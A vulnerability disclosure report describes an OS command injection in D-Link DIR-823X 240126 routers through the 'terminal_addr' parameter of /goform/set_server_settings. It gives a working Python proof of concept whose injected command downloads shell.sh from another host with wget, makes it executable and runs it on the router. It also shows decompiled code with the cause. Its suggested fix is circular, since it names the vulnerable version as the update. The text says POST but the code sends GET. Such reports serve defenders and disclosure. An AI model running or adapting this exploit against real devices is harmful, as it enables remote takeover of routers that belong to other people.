CVE Report - Command Injection Vulnerability in D-Link DIR-823X 240126 Routers

Vulnerability Title

Command Injection Vulnerability in D-Link DIR-823X 240126 Router.

Vulnerability Description

D-Link DIR-823X 240126 devices have an OS command injection vulnerability in the goahead binary, which allows remote attackers to execute arbitrary commands via parameter "terminal_addr" in /goform/set_server_settings through a POST request.

PoC

```python
# coding=gbk
import socket
import base64
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print("start")

target = "192.168.0.1"
s.connect(('192.168.0.1', 80))
cmd = "/goform/set_server_settings?terminal_addr=`wget${IFS}-
P${IFS}/${IFS}http://192.168.0.171:8000/shell.sh;chmod${IFS}+x${IF
S}/shell.sh;/shell.sh`&server_ip=192.168.0.1&server_port=80"
request = f"GET {cmd} HTTP/1.1\r\nHost: {target}\r\nUpgrade-
Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/111.0.5563.65 Safari/537.36\r\nAccept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
mage/webp,image/apng,*/*;q=0.8,application/signed-
exchange;v=b3;q=0.7\r\nAccept-Encoding: gzip, deflate\r\nAccept-
Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"
print(request)
s.send(request.encode('utf-8'))
```

```
response = s.recv(1024)

print(response)
s.close()
```

Cause Analysis

The WebsGetvar function accepts external data and it enters do_system execution, resulting in a command execution vulnerability.

```
__int64 __fastcall sub_4151AC(__int64 a1)
{
  _BYTE *v2; // x22
  _BYTE *v3; // x21
  _BYTE *v4; // x20
  _BYTE *v5; // x1
  int v6; // w20

  v2 = (_BYTE *)WebsGetvar(a1, "terminal_addr", "");
  v3 = (_BYTE *)WebsGetvar(a1, "server_ip", "");
  v4 = (_BYTE *)WebsGetvar(a1, "server_port", "");
  if ( *v2 && *v3 && *v4 )
  {
    do_system("server.@server[0].terminal_addr", v2);
    do_system("server.@server[0].server_ip", v3);
    v5 = v4;
    v6 = 1;
    do_system("server.@server[0].server_port", v5);   |
  }
```

Suggested Fix

It is recommended to update to the version of D-Link DIR-823X 240126 router to fix this vulnerability.